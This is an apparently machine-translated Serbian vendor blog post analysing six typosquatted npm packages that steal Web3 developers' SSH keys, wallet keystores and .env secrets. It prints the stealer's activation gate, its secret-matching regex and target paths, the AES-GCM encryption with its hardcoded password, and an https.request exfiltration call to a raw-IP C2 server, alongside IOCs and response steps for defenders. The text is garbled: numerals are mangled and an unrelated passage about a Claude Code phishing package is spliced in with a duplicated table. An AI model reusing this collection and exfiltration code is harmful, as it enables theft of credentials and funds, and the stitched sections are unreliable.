EVMDeFi npm напад типосквотингом краде програмерске кључеве

EVM/DeFi npm напад типосквотингом краде програмерске кључеве

ТЛ; ДР

6. маја 2026. године, један npm издавач, namikazesarada010206, објавио је шест злонамерних пакета усмерених на екосистем програмера Ethereum, Solidity и DeFi.

Пакети, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, i web3-utils-core, користили су вероватна имена дизајнирана да изгледају као помоћне библиотеке за популарне Web3 алате.

Свих шест пакета садржало је исто telemetry.js датотека. Датотека је била бајтно идентична у целом кластеру, са SHA-256:

СХА-КСНУМКС 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Злонамерни софтвер се не извршава приликом инсталације. Не постоји preinstall or postinstall кука. Уместо тога, активира се када се пакет увезе кроз require().

Тај детаљ је важан.

Имплантат чека док програмер заправо не користи пакет. Затим проверава да ли радна станица изгледа као право развојно окружење за Ethereum / Solidity. Тражи Alchemy или Infura кључеве, приватне кључеве, мнемонике, deployer кључеве или локални Foundry директоријум.

Ако се хост подудара, крадец прикупља SSH приватне кључеве, складишта кључева за Foundry / Geth / Brownie новчанике, .env* датотеке и осетљиве променљиве окружења. Шифрује пакет помоћу AES-256-GCM користећи чврсто кодирану лозинку и преноси га на сирову IPv4 C2 крајњу тачку са онемогућеном TLS верификацијом.

Xygeni-јев систем за рано упозоравање на злонамерни софтвер (MEW) потврдио је да је свих шест пакета злонамерно. npm извештај о уклањању пакета из регистра је на чекању.

Кластер: Шест пакета, један издавач

Налог издавача namikazesarada010206 је повезано са непровереном Gmail адресом namikazesarada010206@gmail.com.

Кампања се појавила као једнодневни објављивачки налет 6. маја 2026. Свих шест пакета је верзионисано као 1.0.0, није имао никакве зависности током извршавања и испоручио је само три датотеке:

package.json index.js telemetry.js

Такође су декларисали исто изворно складиште:

https://github.com/harunosakura030303-maker/evmchain-config

Прва три пакета су открили MEW скенери при првој публикацији. Преостала три су присилно означена након аналитичког прегледа npm профила издавача. Једном исти бајтно идентичан telemetry.js је потврђено у целом кластеру, затворени су као злонамерни због доследности.

пакет верзија Објављено у npm-у MEW карта Пресуда
вием-кор 1.0.0 2026-05-06 01:38:44Z #КСНУМКС Злонамјерно
viem-utils-core 1.0.0 2026-05-06 #КСНУМКС Злонамјерно
hardhat-core-utils 1.0.0 2026-05-06 #КСНУМКС Злонамјерно
evm-utils 1.0.0 2026-05-06 #КСНУМКС Злонамерно, по доследности
foundry-utils 1.0.0 2026-05-06 #КСНУМКС Злонамерно, по доследности
web3-utils-core 1.0.0 2026-05-06 #КСНУМКС Злонамерно, по доследности

Стратегија именовања је једноставна, али ефикасна.

Ови пакети не опонашају тачна имена узводних програма. Уместо тога, користе вероватне суфиксе „корисних програма“ као што су -core, -utils, i -utils-coreЗбог тога изгледају као пратеће библиотеке које би програмер очекивао да види близу Web3 алата.

Злонамерни пакет Легитимна мета
вием-кор Viem, популарни Ethereum TypeScript клијент
viem-utils-core вием
hardhat-core-utils заштитне кациге, мејнстрим Solidity развојно окружење
evm-utils Генерички именски простор EVM алата
foundry-utils ливница, Solidity алатни ланац
web3-utils-core web3-utils, Web3.js помоћници

Ово је образац „додатног пакета“: не „Ја сам прави пакет“, већ „Изгледам као разуман помагач око правог пакета“.

За DeFi програмере који се брзо крећу, то је довољно да створи ризик.

Шта се дешава када се пакет увезе

Ланац напада је мали, намерно организован и фокусиран на крипто-развојна окружења.

Нема инсталационе траке. Уместо тога, сваки пакет садржи index.js који извози функционалност завршних редова, а затим учитава злонамерни телеметријски модул.

require('./telemetry').init();

То значи да се злонамерни софтвер активира при првом увозу.

То је оперативно корисно за нападача. Многи скенери и „песочњаци“ се фокусирају на понашање током инсталације. Овај пакет чека док га програмер, скрипта за изградњу, пакет за тестирање или путања извршавања заправо не употреби.

Активациона капија: Покреће се само на правим Web3 програмерским радним станицама

Најважнији део имплантата је активациона капија.

Злонамерни софтвер проверава променљиве окружења које се обично налазе на машинама програмера Ethereum / Solidity:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Такође проверава да ли је Foundry инсталиран:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Ако ниједан услов није тачан, функција враћа вредност и не ради ништа.

То чини пакет тишим у генеричким окружењима за анализу. Песковник без Foundry, Alchemy кључева, Infura кључева, приватних кључева или мнемонике може имати безопасан изглед.

На одговарајућем хосту, злонамерни софтвер чека 60 до 90 секунди пре него што се прикупи:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Кашњење смањује очигледну корелацију између увоза и извоза. .unref() позив такође омогућава хост процесу да се нормално заврши ако је пакет увезен у краткотрајној скрипти.

Ово није бучно понашање типа „смаши и зграби“. То је циљани крађа, дизајниран да избегне покретање осим ако се програмерско окружење не исплати красти.

Шта крадљивац сакупља

Када прође процес активације, злонамерни софтвер прикупља податке из извора који су најважнији у Web3 развоју: приватни кључеви, складишта кључева за новчанике, акредитиви за имплементацију, тајне у облаку, npm токени и конфигурација локалног пројекта.

извор Шта се прикупља
process.env Било која променљива која се подудара са /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Датотеке које садрже PRIVATE KEY или BEGIN OPENSSH, укључујући цео садржај датотеке
~/.foundry/keystores/* Датотеке складишта кључева за новчаник Foundry
~/.ethereum/keystore/* Датотеке складишта кључева за Geth новчаник
~/.brownie/accounts/* Датотеке складишта кључева за Brownie новчаник
${cwd}/.env Комплетан садржај датотеке
${cwd}/.env.local Комплетан садржај датотеке
${cwd}/.env.production Комплетан садржај датотеке
${cwd}/.env.development Комплетан садржај датотеке
os.hostname() Метаподаци хоста
крипто.рандомУУИД() Идентификатор жртве/сесије
Дате.нов () Временска ознака колекције
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

ATTA токени су:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Нисмо били у могућности да потврдимо да ли је телеметрија била сопствена аналитика оператера или посебно монетизовани канал. ATTA токени су исти у оба узорка која смо испитали.

Кластер Б: хеибаи

claude.hk OAuth фишинг + отмица ANTHROPIC_BASE_URL-а

Узорак од 1. априла је грубљи, ранији део кампање.

heibai:2.1.88-claude.hk-4 објавио је wuguoqiangvip28, налог креиран 7. јуна 2025. Пакет је експлицитно верзионисао себе против легитимног 2.1.88 Антропско ослобађање.

Не занима га CA-cert MITM. Уместо тога, лаже корисника о OAuth крајњој тачки.

Злонамерни додаци поред процурелог изворног кода Клодовог кода укључују:

извор Шта се прикупља
process.env Било која променљива која се подудара са /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Датотеке које садрже PRIVATE KEY или BEGIN OPENSSH, укључујући цео садржај датотеке
~/.foundry/keystores/* Датотеке складишта кључева за новчаник Foundry
~/.ethereum/keystore/* Датотеке складишта кључева за Geth новчаник
~/.brownie/accounts/* Датотеке складишта кључева за Brownie новчаник
${cwd}/.env Комплетан садржај датотеке
${cwd}/.env.local Комплетан садржај датотеке
${cwd}/.env.production Комплетан садржај датотеке
${cwd}/.env.development Комплетан садржај датотеке
os.hostname() Метаподаци хоста
крипто.рандомУУИД() Идентификатор жртве/сесије
Дате.нов () Временска ознака колекције

Листа циљева је веома специфична. Ово није генеричка крађа прегледача или широко распрострањено крађе акредитива. Намењена је програмерима који граде, тестирају, имплементирају или управљају Етереум апликацијама.

Укључивање складишта кључева Foundry, Geth и Brownie је посебно важно. Ове датотеке могу представљати директан приступ новчаницима или идентитетима за имплементацију. Ако нападач може да их упари са лозинкама, мнемоникама или тајним подацима окружења, може бити у могућности да премешта средства, лажно се представља као имплементатори или угрози операције паметних уговора.

Шифровање пре ексфилтрације

Злонамерни софтвер шифрује прикупљене податке пре него што их пошаље.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Тврдо кодирана лозинка је:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Коначни корисни терет је упакован као JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Шифровање само по себи не чини злонамерни софтвер напреднијим. Међутим, отежава инспекцију мреже. Бранилац који прати излаз би видео JSON корисни терет, али не и украдене кључеве, датотеке новчаника или... .env садржај без чврсто кодиране лозинке и логике дешифровања.

Ексфилтрација на сирови IPv4 C2

Путања избацивања је чврсто кодирана:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Злонамерни софтвер шаље податке на:

https://76.13.37.80:8443/api/v1/telemetry

Два детаља се истичу.

Прво, C2 је сирова IPv4 адреса, а не домен. То елиминише потребу за регистрацијом домена и избегава нека откривања заснована на доменима.

Друго, TLS верификација је онемогућена са:

rejectUnauthorized: false

То омогућава злонамерном софтверу да прихвати било који сертификат, укључујући и самопотписане сертификате. Другим речима, нападач добија шифровани транспорт без потребе за важећим јавним сертификатом.

Не постоји логика поновног покушаја нити резервни хост. Грешке се тихо „гутају“. Ово одржава пакет тихим ако је C2 офлајн или недоступан.

Зашто је ова кампања важна

Већина злонамерних npm пакета намењених програмерима јури за широким акредитивима: npm токени, AWS кључеви, GitHub токени или .npmrc датотеке.

Ова кампања сужава циљ.

Тражи знаке да машина припада програмеру Ethereum-а или Solidity-ја. Затим повлачи тачно она средства која су важна у том окружењу: складишта кључева новчаника, приватне кључеве, мнемонике, кључеве за распоређивање, .env датотеке и SSH кључеве.

То чини кампању опаснијом за Web3 тимове него генерички крађа npm-ова.

Успешна инфекција може открити:

  • Новчаници за имплементацију
  • Администраторски кључеви паметних уговора
  • Кључеви RPC провајдера
  • Акредитиви за распоређивање у облаку
  • npm токени за објављивање
  • SSH приступ програмерима или инфраструктури за изградњу
  • Тајне пројекта сачуване у .env датотеке
  • Складишта кључева новчаника за Foundry, Geth или Brownie

Називи пакета такође показују јасан друштвени инжењеринг. Они циљају екосистем Web3 програмера кроз позната имена алата: viem, hardhat, foundry, evm, i web3.

Глумац не мора да прави компромисе у вези са стварним пројектима. Потребан му је само програмер да инсталира оно што изгледа као разуман пратећи пакет.

Индикатори компромитовања и откривања

Пакети и издавач
Поље Vrednost
НПМ издавач намиказесарада010206
Имејл адреса издавача namikazesarada010206@gmail.com
Имејл је верификован Не
SCM проверено Не
Оцена репутације 1.0
Пакети вием-цоре, вием-утилс-цоре, хардхат-цоре-утилс, евм-утилс, ливница-утилс, веб3-утилс-цоре
верзије Све КСНУМКС
Изворни репозиторијум https://github.com/harunosakura030303-maker/evmchain-config
Потврђено злонамерно Свих шест пакета
мрежа
тип Vrednost
Крајња тачка C2 https://76.13.37.80:8443/api/v1/telemetry
Ц2 ИП 76.13.37.80
C2 порт 8443/тцп
Понашање TLS-а одбацивањеНеовлашћено: нетачно
Шема корисног оптерећења {"в":2,"ив": ,,д": ,,т": }
Датотеке и хешеви
тип Vrednost
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Распоред пакета package.json, index.js, telemetry.js
Број датотека 3
Приближна укупна величина КСНУМКС МБ

Сигнали активације

Злонамерни софтвер проверава ове променљиве окружења:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Такође проверава:

~/.foundry/

Циљане путање хоста

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Колекција регуларних израза

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Белешке о детекцији

Неколико правила обухвата ову кампању без потребе за потпуном анализом понашања.

Прво, скенирајте датотеке закључавања за шест имена злонамерних пакета:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Било која утакмица у package-lock.json, yarn.lock, pnpm-lock.yaml, Или node_modules Историју треба третирати као озбиљан инцидент.

Друго, пратите Node.js процесе који читају путање складишта кључева новчаника:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Ово ретко је легитимно понашање за пакет увезен као помоћна зависност. Посебно је сумњиво када га прати одлазна мрежна активност.

Треће, блокирајте или упозоравајте на HTTPS конекције да би:

76.13.37.80:8443

Поготово када је путања захтева:

/api/v1/telemetry

Четврто, потражите npm пакете који комбинују ове особине:

  • Нови или издавач са ниском репутацијом
  • Неверификован Gmail налог
  • Име пакета суседног Web3-у
  • Нема значајне историје спремишта
  • Распоред ситног паковања
  • index.js који учитава телеметрију или помоћну датотеку
  • Нема зависности од извршавања
  • Осетљива колекција променљивих окружења
  • Приступ складишту кључева за новчаник

Овај образац је кориснији од једног IOC-а јер следећи пакет може променити IP адресу, али задржати исту логику циљања.

Контролна листа за одговор на компромис

Ако је програмер користио један од шест пакета и његово окружење се подудара са капијом за активацију, радна станица се третира као угрожена.

То укључује машине са инсталираним Foundry-јем, Alchemy или Infura кључевима у окружењу, приватним кључевима, мнемотехничким средствима или кључевима за деплој.

Препоручени одговор:

  • Искључите хост из мреже.
  • Очувај node_modules, датотеке закључавања, историја љуске и релевантни логови за форензику.
  • Ротирајте сваки SSH пар кључева испод ~/.ssh/.
  • Ротирајте кључеве новчаника за свако складиште кључева испод ~/.foundry, ~/.ethereum, i ~/.brownie.
  • Пребаците средства у нове новчанике.
  • Ротирајте сваку тајну сачувану у .env* датотеке у репозиторијумима у којима је програмер радио.
  • Ротирајте тајне окружења које одговарају регуларном изразу колекције, укључујући AWS кључеве, npm токене, токене за имплементацију, API кључеве, приватне кључеве, семена и мнемонике.
  • Проверите активности у облаку, npm-у, GitHub-у, RPC провајдеру и блокчејну од прве инсталације пакета.
  • Поново направите слику радне станице пре поновне употребе.

Шта би браниоци требало да понесу са собом

Ова кампања показује како се типосквотинг у нпм-у развија око екосистема високовредних програмера.

Актеру није била потребна истрајност. Није им била потребна обфускација. Није им чак било потребно ни извршавање током инсталације.

Уместо тога, ослањали су се на три ствари:

  • Вероватна имена Web3 пакета
  • Активација само на правим машинама за развој криптовалута
  • Директна крађа датотека и тајни које су најважније програмерима Етереума

Због тога је кампању лако пропустити при широком скенирању и опасна је када се нађе у правом окружењу.

За Web3 тимове, лекција је јасна: третирајте имена зависности као део вашег модела претње. Пакет који изгледа као безопасни помагач и даље може постати најкраћи пут до компромитовања новчаника.

Пријављено npm регистру. Ажурираћемо ову објаву када налог издавача и пакети буду уклоњени.

sca-tools-software-composition-analysis-tools
Приоритизујте, отклоните и обезбедите ризике везане за ваш софтвер
Набавите свој бесплатни налог.
Није потребна кредитна картица.

Обезбедите свој развој и испоруку софтвера

са Xygeni пакетом производа